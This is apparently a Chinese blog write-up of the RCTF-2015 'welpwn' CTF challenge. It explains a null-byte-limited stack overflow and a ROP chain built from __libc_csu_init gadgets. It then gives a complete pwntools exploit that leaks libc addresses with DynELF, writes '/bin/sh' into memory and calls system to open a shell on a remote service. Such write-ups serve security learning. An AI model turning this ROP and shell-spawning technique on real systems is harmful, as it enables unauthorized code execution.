welpwn

题目来源: RCTF-2015

题目描述:暂无

 

 

echo中存在栈溢出,不过它只会复制到buf的第一个'\x00',而64位地址一定含有'\x00',因此最好情况只能覆盖ret

但是,因为溢出之后接着的就是buf,所以可以将ret覆盖成一个连着pop4次的gadget,然后就能接着rop链了

本体还涉及到万能gadget,位于__libc_csu_init中,是这个样子的

welpwn

 

 

可以把这个拆成两部分,分别记为rop1(0x40089a)和rop2(0x400880)

首先先调用rop1,这样可以赋值rbx,rbp,r12,r13,r14,r15,然后调用rop2

这里面一般情况下,rbx赋值为0,r12赋值为要调用的函数地址,这样在0x400889处会直接调用r12对应的函数

rbp赋值为1,因为0x40088d处rbx会变成1,然后0x400891会将rbx与rbp比较,如果不相等会跳转回0x400880,而我们是希望它相等的

r13赋值rdx,r14赋值rsi,r15赋值rdi

之后rop2会继续rop1部分,1个rsp+8加上六个pop,共需要有一个7个字节的padding,之后才是下一个ret

exp如下:

from pwn import *

#io = process('./welpwn')
#io = gdb.debug('./welpwn', 'b *0x4007CB')
io = remote('111.200.241.244', 54112)
#context.log_level = 'debug'

pop_r12_r13_r14_r15 = 0x40089c
pop_rdi = 0x4008a3
rop_1 = 0x40089a
rop_2 = 0x400880
write_got = 0x601020
read_got = 0x601038
start_addr = 0x400630
goal_addr = 0x601100

def leak(address):
    io.recv(1024)
    payload = b'a' * 24 + p64(pop_r12_r13_r14_r15)
    payload += p64(rop_1)
    payload += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(address) + p64(1)
    payload += p64(rop_2) + p64(0) * 7 + p64(start_addr)
    io.send(payload)
    addr = io.recv(8)
    return addr
    
d = DynELF(leak, elf = ELF('./welpwn'))
system_addr = d.lookup('system', 'libc')
info('system:'+str(hex(system_addr)))

io.recv(1024)
payload = b'a' * 24 + p64(pop_r12_r13_r14_r15)
payload += p64(rop_1)
payload += p64(0) + p64(1) + p64(read_got) + p64(8) + p64(goal_addr) + p64(0)
payload += p64(rop_2) + p64(0) * 7
payload += p64(pop_rdi) + p64(goal_addr) + p64(system_addr)
io.send(payload)
io.send(b'/bin/sh\x00')

io.interactive()

 

上一篇:hitcontraining_bamboobox 堆技巧 unlink


下一篇:xe6+firedac 连接sybase